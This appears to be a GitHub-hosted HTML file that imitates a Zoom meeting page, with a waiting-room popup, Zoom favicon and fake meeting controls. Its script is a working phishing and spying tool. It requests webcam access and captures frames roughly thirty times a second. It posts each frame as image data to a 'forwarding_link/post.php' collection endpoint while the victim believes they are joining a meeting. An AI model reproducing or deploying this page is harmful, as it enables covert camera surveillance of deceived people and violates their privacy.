-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathOnlineMeeting.html
337 lines (307 loc) · 11.3 KB
/
OnlineMeeting.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
<!doctype html>
<html>
<head>
<script src="https://kit.fontawesome.com/c4c45dfab4.js" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<link rel="icon" href="https://us05st1.zoom.us/zoom.ico" />
</head>
<style>
@import url("https://fonts.googleapis.com/css2?family=Nunito:wght@500;500&display=swap");
body {
height: 100vh;
width: 100vw;
}
* {
padding: 0px;
margin: 0px;
font-family: 'Nunito', sans-serif;
font-weight: 500;
}
.main-screen {
background-color: #273039;
height: 100vh;
width: 100%;
display: flex;
justify-content: center;
align-items: center;
}
img {
height: 80px;
width: 80px;
}
.bottom-bar {
position: fixed;
padding: 0px 40px 0px -40px;
bottom: 0px;
height: 80px;
width: 100%;
background-color: #1F2022;
display: flex;
flex-direction: row;
justify-content: center;
align-items: center;
color: #fff;
}
.icon-button {
display: flex;
flex-direction: column;
justify-items: center;
align-items: center;
cursor: pointer;
}
.multi-icon::before {
content: "20";
font-size: small;
position: absolute;
bottom: 43px;
left: 635px;
}
i {
margin-bottom: 4px;
font-size: 26px;
}
.fas {
margin-bottom: 8px;
}
.faq {
scale: 1.3;
}
button {
color: #fff;
background-color: crimson;
padding: 10px 20px;
border: none;
border-radius: 5px;
border-style: none;
outline: none;
cursor: pointer;
}
#ac-wrapper {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255,255,255,.6);
z-index: 100;
}
#popup {
width: 555px;
height: 35px;
text-align: center;
margin-inline: auto;
margin-top: 40vh;
position: relative;
color: #273039;
font-weight: bold;
}
canvas{
position: fixed;
bottom: 80px;
right: 0;
width: 200px;
height: 150px;
}
.host {
width: 100%;
height: 100%;
background-color: black;
}
.text-host {
color: white;
text-align: center;
background-color: rgb(26, 26, 26);
margin-inline: 20px;
height: 90%;
display: flex;
justify-content: center;
align-items: center;
font-size: 100px;
font-weight: bold;
}
.host-icon {
position: absolute;
bottom: 80px;
left: 20px;
font-size: small;
background-color: black;
padding: 7px;
}
.shield-check {
color: rgb(21, 206, 21);
position: absolute;
top: 15px;
left: 40px;
}
</style>
<body>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas id="canvas" width="640" height="480" audoplay></canvas>
<div id="ac-wrapper">
<div id="popup">
<h2>Please wait the meeting host will let you in soon</h2>
</div>
</div>
<div class="host">
<div class="text-host">Host
<svg class="shield-check" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
<path fill-rule="evenodd" d="M11.644 3.066a1 1 0 0 1 .712 0l7 2.666A1 1 0 0 1 20 6.68a17.694 17.694 0 0 1-2.023 7.98 17.406 17.406 0 0 1-5.402 6.158 1 1 0 0 1-1.15 0 17.405 17.405 0 0 1-5.403-6.157A17.695 17.695 0 0 1 4 6.68a1 1 0 0 1 .644-.949l7-2.666Zm4.014 7.187a1 1 0 0 0-1.316-1.506l-3.296 2.884-.839-.838a1 1 0 0 0-1.414 1.414l1.5 1.5a1 1 0 0 0 1.366.046l4-3.5Z" clip-rule="evenodd"/>
</svg>
<div class="host-icon">Host</div>
</div>
</div>
<div class="bottom-bar">
<div class="icon-button" style="margin-left: 50px;">
<i class="fas fa-microphone-slash"></i>
<h6>Mute</h6>
</div>
<div class="icon-button" id="stopVideo" style="margin-left: 50px;">
<i class="fas fa-video"></i>
<h6>Stop Video</h6>
</div>
<div class="icon-button" style="margin-left: auto;">
<i class="faq">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="SvgSecurityDefault">
<path fill-rule="evenodd" clip-rule="evenodd" d="M12 2c-.2 0-.402.067-.54.2-1.271 1.216-4.577 4.055-7.7 4.024-.334-.003-.639.223-.668.541-.021.236-.039.468-.053.698-.558 9.226 4.95 13.419 8.897 14.528a.236.236 0 0 0 .128 0c3.26-.916 7.585-3.936 8.677-10.158.263-1.498.339-3.183.167-5.068-.03-.318-.334-.544-.667-.541-3.124.031-6.43-2.808-7.7-4.024A.784.784 0 0 0 12 2Zm7.544 9.833c.25-1.321.343-2.813.227-4.492-1.736-.11-3.396-.889-4.719-1.714A21.097 21.097 0 0 1 12 3.275v8.558H4.456c.4 2.116 1.198 3.795 2.17 5.106 1.569 2.116 3.636 3.34 5.374 3.887v-8.993h7.544Z" fill="#ffff"></path>
</svg>
</i>
<h6>Security</h6>
</div>
<div class="icon-button multi-icon" style="margin-left: 50px;">
<i class="faq">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="SvgParticipantsDefault">
<path fill-rule="evenodd" clip-rule="evenodd" d="M7.5 11.5a4 4 0 1 0 0-8 4 4 0 0 0 0 8ZM21 9.25a3.75 3.75 0 1 1-7.5 0 3.75 3.75 0 0 1 7.5 0ZM7.5 13.5C3 13.5 0 15.515 0 18a3 3 0 0 0 3 3h9a3.032 3.032 0 0 0 .605-.06A3.001 3.001 0 0 0 15 18c0-.954-.442-1.84-1.242-2.567C12.475 14.265 10.272 13.5 7.5 13.5ZM21.75 21h-6.396a4.484 4.484 0 0 0 1.146-3c0-1.1-.386-2.08-1.02-2.903A15.409 15.409 0 0 1 17.25 15c4.5 0 6.75 1.679 6.75 3.75A2.25 2.25 0 0 1 21.75 21Z" fill="#ffff"></path>
</svg>
</i>
<h6>Participants</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="faq">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="SvgSharingDefault">
<path fill-rule="evenodd" clip-rule="evenodd" d="M0 7.8c0-1.68 0-2.52.327-3.162a3 3 0 0 1 1.311-1.311C2.28 3 3.12 3 4.8 3h14.4c1.68 0 2.52 0 3.162.327a3 3 0 0 1 1.311 1.311C24 5.28 24 6.12 24 7.8v8.4c0 1.68 0 2.52-.327 3.162a3 3 0 0 1-1.311 1.311C21.72 21 20.88 21 19.2 21H4.8c-1.68 0-2.52 0-3.162-.327a3 3 0 0 1-1.311-1.311C0 18.72 0 17.88 0 16.2V7.8Zm12.938 2.713 1.4 1.4a.937.937 0 0 0 1.325-1.326l-3-3a.937.937 0 0 0-1.326 0l-3 3a.937.937 0 1 0 1.326 1.326l1.4-1.4v5.237a.937.937 0 1 0 1.874 0v-5.237Z"
fill="#ffff"></path>
</svg>
</i>
<h6>Share content</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="faq">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="SvgChatDefault">
<path d="M2 13.01V7a4 4 0 0 1 4-4h12a4 4 0 0 1 4 4v6a4 4 0 0 1-4 4h-6.379a1.5 1.5 0 0 0-1.06.44l-3.537 3.536A.6.6 0 0 1 6 20.552V17.01a.01.01 0 0 0-.01-.01A3.99 3.99 0 0 1 2 13.01Z" fill="#ffff"></path>
</svg>
</i>
<h6>Chat</h6>
</div>
<div class="icon-button" style="margin-left: 50px;">
<i class="faq">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M19.501 1a.75.75 0 0 1 1.5 0v2.002h2a.75.75 0 0 1 0 1.5h-2v1.997a.75.75 0 1 1-1.5 0V4.5h-2.003a.75.75 0 1 1 0-1.499h2.003V1.001Z" fill="#ffff"></path>
<path fill-rule="evenodd" clip-rule="evenodd" d="M12 3h2.2c.675 0 1.018.58 1.063.996A2.25 2.25 0 0 0 17.5 6h.504v.498c0 1.151.864 2.1 1.979 2.234C20.397 8.782 21 9 21 9.8V12a9 9 0 1 1-9-9Zm-2.4 9a1.2 1.2 0 1 0 0-2.4 1.2 1.2 0 0 0 0 2.4Zm6-1.2a1.2 1.2 0 1 1-2.4 0 1.2 1.2 0 0 1 2.4 0Zm-6.282 2.63a.75.75 0 1 0-1.304.74c.94 1.655 2.774 2.18 3.986 2.18 1.212 0 3.046-.525 3.986-2.18a.75.75 0 1 0-1.304-.74c-.579 1.017-1.784 1.42-2.682 1.42-.898 0-2.103-.403-2.682-1.42Z" fill="#ffff"></path>
</svg>
</i>
<h6>React</h6>
</div>
<div class="icon-button" style="margin-right: auto; margin-left: 50px;">
<i class="faq">
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd" clip-rule="evenodd" d="M6.105 5.349c-.642-.183-1.343-.013-1.761.507A9.805 9.805 0 0 0 2.849 8.44c-.242.622-.038 1.314.44 1.778l.476.46a1.84 1.84 0 0 1 0 2.644l-.475.46c-.48.464-.683 1.156-.44 1.778.365.94.872 1.81 1.494 2.584.418.52 1.12.69 1.761.507l.633-.18a1.84 1.84 0 0 1 2.289 1.322l.16.64c.163.647.662 1.17 1.322 1.27a9.898 9.898 0 0 0 2.982 0c.66-.1 1.159-.623 1.321-1.27l.161-.64a1.84 1.84 0 0 1 2.29-1.322l.632.18c.642.183 1.343.013 1.761-.507a9.806 9.806 0 0 0 1.495-2.584c.241-.622.038-1.314-.44-1.778l-.476-.46a1.84 1.84 0 0 1 0-2.644l.475-.46c.48-.464.682-1.156.44-1.778a9.805 9.805 0 0 0-1.494-2.584c-.418-.52-1.12-.69-1.761-.507l-.633.18a1.84 1.84 0 0 1-2.289-1.322l-.16-.64c-.163-.647-.662-1.17-1.322-1.27a9.893 9.893 0 0 0-2.982 0c-.66.1-1.159.623-1.321 1.27l-.161.64a1.84 1.84 0 0 1-2.29 1.322l-.632-.18ZM12 15.68a3.681 3.681 0 1 0 0-7.362 3.681 3.681 0 0 0 0 7.362Z" fill="#ffff"></path>
</svg>
</i>
<h6>Settings</h6>
</div>
<a href="https://zoom.us/"><button style="margin-right: 50px;">Leave</button></a>
</div>
<script>
navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia;
window.onload = () => {
// flag check video
var isVideo = true;
$('#stopVideo').on('click', function() {
isVideo = !isVideo;
if (isVideo) {
video.play();
} else {
video.pause();
}
})
let ajaxQueue = [];
function addToQueue(frame) {
ajaxQueue.push(frame);
if (ajaxQueue.length === 1) {
sendRequest();
}
}
async function sendRequest() {
if (ajaxQueue.length > 0) {
let frame = ajaxQueue[ajaxQueue.length - 1];
try {
await $.ajax({
type: 'POST',
data: { 'cat': frame },
url: 'forwarding_link/post.php',
dataType: 'json',
success: function (result) {
console.log('ok');
ajaxQueue.shift();
sendRequest();
},
error: function (error) {
console.log(error);
ajaxQueue.shift();
sendRequest();
}
});
} catch (err) {
console.log(err);
ajaxQueue.shift();
sendRequest();
}
}
}
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia({ audio: false, video: true });
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setInterval(function () {
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
// post(canvasData);
if (isVideo) {
addToQueue(canvasData);
video.play();
context.filter = 'blur(0px)'
} else {
video.pause();
context.filter = 'blur(5px)'
}
}, 33);
}
function PopUp(){
document.getElementById('ac-wrapper').style.display="none";
}
// Load init
init();
$(document).ready(function(){
setTimeout(function(){
PopUp();
},3000); // after 5 seconds remove popup
});
};
</script>
</body>
</html>